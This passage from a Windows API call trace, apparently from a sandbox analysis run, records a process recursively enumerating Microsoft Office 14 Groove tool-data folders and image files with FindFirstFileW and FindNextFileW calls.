ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02b0 [0041.559] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.559] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61a457d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calendar", cAlternateFileName="")) returned 1 [0041.559] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\*", lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61a457d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec03b0 [0041.560] FindNextFileW (in: hFindFile=0x3ec03b0, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61a457d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.560] FindNextFileW (in: hFindFile=0x3ec03b0, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b62000, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4b62000, ftLastWriteTime.dwHighDateTime=0x1ca0408, nFileSizeHigh=0x0, nFileSizeLow=0x3424, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarToolIconImages.jpg", cAlternateFileName="CALEND~1.JPG")) returned 1 [0041.560] FindClose (in: hFindFile=0x3ec03b0 | out: hFindFile=0x3ec03b0) returned 1 [0041.561] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f01078 | out: hHeap=0x4b0000) returned 1 [0041.561] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69a5d7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommonData", cAlternateFileName="COMMON~1")) returned 1 [0041.561] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\*", lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69a5d7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec03b0 [0041.562] FindNextFileW (in: hFindFile=0x3ec03b0, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69a5d7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.562] FindNextFileW (in: hFindFile=0x3ec03b0, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x633fe700, ftCreationTime.dwHighDateTime=0x1c95fc8, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x633fe700, ftLastWriteTime.dwHighDateTime=0x1c95fc8, nFileSizeHigh=0x0, nFileSizeLow=0x44c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_Auto.jpg", cAlternateFileName="ALERTI~3.JPG")) returned 1 [0041.562] FindClose (in: hFindFile=0x3ec03b0 | out: hFindFile=0x3ec03b0) returned 1 [0041.563] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f01078 | out: hHeap=0x4b0000) returned 1 [0041.563] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60440c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 1 [0041.563] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\*", lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60440c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec03b0 [0041.563] FindNextFileW (in: hFindFile=0x3ec03b0, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60440c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.563] FindNextFileW (in: hFindFile=0x3ec03b0, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80130d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80130d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="computericon.jpg", cAlternateFileName="COMPUT~1.JPG")) returned 1 [0041.563] FindClose (in: hFindFile=0x3ec03b0 | out: hFindFile=0x3ec03b0) returned 1 [0041.563] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f01078 | out: hHeap=0x4b0000) returned 1 [0041.563] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x607d2d50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Discussion", cAlternateFileName="DISCUS~1")) returned 1 [0041.563] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\*", lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x607d2d50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec03b0 [0041.564] FindNextFileW (in: hFindFile=0x3ec03b0, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x607d2d50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.564] FindNextFileW (in: hFindFile=0x3ec03b0, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0009600, ftCreationTime.dwHighDateTime=0x1ca0588, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0009600, ftLastWriteTime.dwHighDateTime=0x1ca0588, nFileSizeHigh=0x0, nFileSizeLow=0x393c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiscussionToolIconImages.jpg", cAlternateFileName="DISCUS~1.JPG")) returned 1 [0041.564] FindClose (in: hFindFile=0x3ec03b0 | out: hFindFile=0x3ec03b0) returned 1 [0041.564] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f01078 | out: hHeap=0x4b0000) returned 1 [0041.564] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DocumentShare", cAlternateFileName="DOCUME~1")) returned 1 [0041.564] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\*", lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec03b0 [0041.564] FindNextFileW (in: hFindFile=0x3ec03b0, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.564] FindNextFileW (in: hFindFile=0x3ec03b0, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81443a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xab11, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSSFilesToolHomePageBackground.jpg", cAlternateFileName="WSSFIL~1.JPG")) returned 1 [0041.564] FindClose (in: hFindFile=0x3ec03b0 | out: hFindFile=0x3ec03b0) returned 1 [0041.564] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f01078 | out: hHeap=0x4b0000) returned 1 [0041.564] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveDocumentReview", cAlternateFileName="GROOVE~1")) returned 1 [0041.564] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\*", lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec03b0 [0041.565] FindNextFileW (in: hFindFile=0x3ec03b0, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.565] FindNextFileW (in: hFindFile=0x3ec03b0, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81443a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2519, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveTabImage.jpg", cAlternateFileName="ACTIVE~1.JPG")) returned 1 [0041.565] FindClose (in: hFindFile=0x3ec03b0 | out: hFindFile=0x3ec03b0) returned 1 [0041.566] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f01078 | out: hHeap=0x4b0000) returned 1 [0041.566] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms", cAlternateFileName="GROOVE~3")) returned 1 [0041.566] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\*", lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec03b0 [0041.566] FindNextFileW (in: hFindFile=0x3ec03b0, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.566] FindNextFileW (in: hFindFile=0x3ec03b0, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddToViewArrow.jpg", cAlternateFileName="ADDTOV~1.JPG")) returned 1 [0041.567] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\*", lpFindFileData=0x33de920 | out: lpFindFileData=0x33de920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec03f0 [0041.567] FindNextFileW (in: hFindFile=0x3ec03f0, lpFindFileData=0x33de920 | out: lpFindFileData=0x33de920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.568] FindNextFileW (in: hFindFile=0x3ec03f0, lpFindFileData=0x33de920 | out: lpFindFileData=0x33de920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x368c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Attachments.jpg", cAlternateFileName="ATTACH~1.JPG")) returned 1 [0041.568] FindClose (in: hFindFile=0x3ec03f0 | out: hFindFile=0x3ec03f0) returned 1 [0041.569] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f11080 | out: hHeap=0x4b0000) returned 1 [0041.569] FindNextFileW (in: hFindFile=0x3ec03b0, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORM.ICO", cAlternateFileName="")) returned 1 [0041.569] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\*", lpFindFileData=0x33de920 | out: lpFindFileData=0x33de920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d354f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec03f0 [0041.570] FindNextFileW (in: hFindFile=0x3ec03f0, lpFindFileData=0x33de920 | out: lpFindFileData=0x33de920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d354f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.570] FindNextFileW (in: hFindFile=0x3ec03f0, lpFindFileData=0x33de920 | out: lpFindFileData=0x33de920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2021e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Customer Support.fdt", cAlternateFileName="CUSTOM~1.FDT")) returned 1 [0041.570] FindClose (in: hFindFile=0x3ec03f0 | out: hFindFile=0x3ec03f0) returned 1 [0041.571] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f11080 | out: hHeap=0x4b0000) returned 1 [0041.571] FindNextFileW (in: hFindFile=0x3ec03b0, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsVersion1Warning.htm", cAlternateFileName="FORMSV~1.HTM")) returned 1 [0041.571] FindClose (in: hFindFile=0x3ec03b0 | out: hFindFile=0x3ec03b0) returned 1 [0041.571] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f01078 | out: hHeap=0x4b0000) returned 1 [0041.571] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms3", cAlternateFileName="GR96F1~1")) returned 1 [0041.571] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\*", lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec03b0 [0042.019] FindNextFileW (in: hFindFile=0x3ec03b0, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.020] FindNextFileW (in: hFindFile=0x3ec03b0, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eaf6290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADD.GIF", cAlternateFileName="")) returned 1 [0042.022] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\*", lpFindFileData=0x33de920 | out: lpFindFileData=0x33de920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", 